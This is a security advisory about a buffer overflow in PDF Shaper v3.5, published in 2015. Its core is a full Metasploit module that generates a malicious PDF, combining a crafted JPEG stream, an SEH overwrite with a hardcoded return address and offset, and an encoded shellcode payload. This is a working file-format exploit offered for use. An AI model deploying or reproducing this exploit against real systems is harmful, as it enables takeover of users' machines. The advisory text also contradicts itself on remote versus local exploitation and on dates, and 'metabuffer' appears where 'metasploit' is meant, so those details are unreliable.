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PDF Shaper v3.5 - (MSF) Remote Buffer Overflow Vulnerability



Document Title:
===============
PDF Shaper v3.5 - (MSF) Remote Buffer Overflow Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1579

Video: https://youtu.be/-HTEIisSiH8


Release Date:
=============
2015-08-16


Vulnerability Laboratory ID (VL-ID):
====================================
1579


Common Vulnerability Scoring System:
====================================
7.9


Product & Service Introduction:
===============================
PDF Shaper is a collection of free PDF tools, which allows you to merge, split, encrypt and decrypt PDFs, convert images to PDF, convert PDF to 
Word RTF or images, extract text and images from PDF. Program has easy-to-use user interface, supports Unicode characters and batch processing. 

(Copy of the Vendor Homepage: http://www.glorylogic.com/pdf-shaper.html )


Abstract Advisory Information:
==============================
An independent vulnerability laboratory researcher discovered a remote buffer overflow vulnerability in the official PDF Shaper v3.5 software.


Vulnerability Disclosure Timeline:
==================================
2015-08-20: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Glorylogic
Product: PDF Shaper - Software 3.5


Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Technical Details & Description:
================================
A remote buffer overflow vulnerability has been discovered in the official PDF Shaper v3.5 software client.
The buffer overflow vulnerability can be exploited by local attackers to compromise a target system or to 
gain higher access privileges for further exploitation.

The metasploit exploitcode requires the usage of the metabuffer module. The vulnerability is a unicode buffer 
overflow in the host software. The exploit is remotly exploitable and the issue is located on the server-side.

The security risk of the buffer overflow vulnerability is estimated as high with a cvss (common vulnerability 
scoring system) count of 7.9. Exploitation of the vulnerability requires a low privilege system user account 
and no user interaction. Successful exploitation of the vulnerability results in system compromise by elevation 
of privileges via overwrite of the registers.


Proof of Concept (PoC):
=======================
The remote buffer overflow vulnerability can be exploited by remote attackers without user interaction or low privilege system user account.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.


Exploit: MSF Console

class Metasploit3 < Msf::Exploit::Remote
  #Rank definition: http://dev.metabuffer.com/redmine/projects/framework/wiki/Exploit_Ranking
  #ManualRanking/LowRanking/AverageRanking/NormalRanking/GoodRanking/GreatRanking/ExcellentRanking
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::PDF
  include Msf::Exploit::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'    => 'PDF Shaper Buffer Overflow',
      'Description'  => %q{
            PDF Shaper is prone to a security vulnerability when processing PDF files. 
            The vulnerability appear when we use Convert PDF to Image and use a specially crafted PDF file.
	    This module has been tested successfully on Win Xp, Win 7, Win 8, Win 10.
      },
      'License'    => MSF_LICENSE,
      'Author'    =>
        [
          'metacom<metacom27[at]gmail.com>',  # Original discovery
          'metacom',  # MSF Module
        ],
      'References'  =>
        [
          [ 'OSVDB', '<insert OSVDB number here>' ],
          [ 'CVE', 'insert CVE number here' ],
          [ 'URL', '<insert another link to the exploit/advisory here>' ]
        ],
      'DefaultOptions' =>
        {
          'ExitFunction' => 'process', #none/process/thread/seh
          #'InitialAutoRunScript' => 'migrate -f',
        },
      'Platform'  => 'win',
      'Payload'  => 
        {
          'Space'       => 2000,
          'DisableNops' => true,
        },

      'Targets'    =>
        [
          [ '<Win Xp, Win 7, Win 8, Win 10 / PDF Shaper v.3.5>',
            {
              'Ret'     =>  0x00713726, # pop ebx # pop ebp # ret  - PDFTools.exe
              'Offset'  =>  433
            }
          ],
        ],
      'Privileged'  => false,
      #Correct Date Format: "M D Y"
      #Month format: Jan,Feb,Mar,Apr,May,Jun,Jul,Aug,Sep,Oct,Nov,Dec
      'DisclosureDate'  => 'Aug 10 2015',
      'DefaultTarget'  => 0))

    register_options([OptString.new('FILENAME', [ false, 'The file name.', 'msf.pdf']),], self.class)

  end

  def exploit
	file_create(make_pdf)
  end	 	
	
  def jpeg
    buffer =  "\xFF\xD8\xFF\xEE\x00\x0E\x41\x64\x6F\x62\x65\x00\x64\x80\x00\x00"
    buffer << "\x00\x02\xFF\xDB\x00\x84\x00\x02\x02\x02\x02\x02\x02\x02\x02\x02"
    buffer << "\x02\x03\x02\x02\x02\x03\x04\x03\x03\x03\x03\x04\x05\x04\x04\x04"
    buffer << "\x04\x04\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x07\x08\x08\x08"
    buffer << "\x07\x05\x09\x0A\x0A\x0A\x0A\x09\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C"
    buffer << "\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x01\x03\x02\x02\x03\x03\x03\x07\x05"
    buffer << "\x05\x07\x0D\x0A\x09\x0A\x0D\x0F\x0D\x0D\x0D\x0D\x0F\x0F\x0C\x0C"
    buffer << "\x0C\x0C\x0C\x0F\x0F\x0C\x0C\x0C\x0C\x0C\x0C\x0F\x0C\x0E\x0E\x0E"
    buffer << "\x0E\x0E\x0C\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11"
    buffer << "\x11\x11\x11\x11\x11\x11\x11\x11\xFF\xC0\x00\x14\x08\x00\x32\x00"
    buffer << "\xE6\x04\x01\x11\x00\x02\x11\x01\x03\x11\x01\x04\x11\x00\xFF\xC4"
    buffer << "\x01\xA2\x00\x00\x00\x07\x01\x01\x01\x01\x01\x00\x00\x00\x00\x00"
    buffer << "\x00\x00\x00\x04\x05\x03\x02\x06\x01\x00\x07\x08\x09\x0A\x0B\x01"
    buffer << "\x54\x02\x02\x03\x01\x01\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00"
    buffer << "\x01\x00\x02\x03\x04\x05\x06\x07"
    buffer << rand_text(target['Offset'])  #junk
    buffer << generate_seh_record(target.ret)
    buffer << payload.encoded
    buffer << rand_text(2388 - payload.encoded.length) 
    return buffer

  end
  

  def nObfu(str)
    return str
  end

  def make_pdf
    # pdf template taken from PDF Shaper exploit module
    @pdf << header
    add_object(1, nObfu("<</Type/Catalog/Outlines 2 0 R /Pages 3 0 R>>"))
    add_object(2, nObfu("<</Type/Outlines>>"))
    add_object(3, nObfu("<</Type/Pages/Kids[5 0 R]/Count 1/Resources <</ProcSet 4 0 R/XObject <</I0 7 0 R>>>>/MediaBox[0 0 612.0 792.0]>>"))
    add_object(4, nObfu("[/PDF/Text/ImageC]"))
    add_object(5, nObfu("<</Type/Page/Parent 3 0 R/Contents 6 0 R>>"))
    stream_1 = "stream" << eol
    stream_1 << "0.000 0.000 0.000 rg 0.000 0.000 0.000 RG q 265.000 0 0 229.000 41.000 522.000 cm /I0 Do Q" << eol
    stream_1 << "endstream" << eol
    add_object(6, nObfu("<</Length 91>>#{stream_1}"))
    stream = "<<" << eol
    stream << "/Width 230" << eol
    stream << "/BitsPerComponent 8" << eol
    stream << "/Name /X" << eol
    stream << "/Height 50" << eol
    stream << "/Intent /RelativeColorimetric" << eol
    stream << "/Subtype /Image" << eol
    stream << "/Filter /DCTDecode" << eol
    stream << "/Length #{jpeg.length}" << eol
    stream << "/ColorSpace /DeviceCMYK" << eol
    stream << "/Type /XObject" << eol
    stream << ">>"
    stream << "stream" << eol
    stream << jpeg << eol
    stream << "endstream" << eol
    add_object(7, stream)
    finish_pdf
  end  

end



Reference(s):
Metabuffer: http://metabuffer.com/download
Current Source: https://github.com/rapid7/metabuffer-framework


Security Risk:
==============
The security risk of the remote buffer overflow vulnerability in the pdf shaper software is estimated as high. (CVSS 7.9)


Credits & Authors:
==================
metacom  - [http://www.vulnerability-lab.com/show.php?user=metacom]


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=========================
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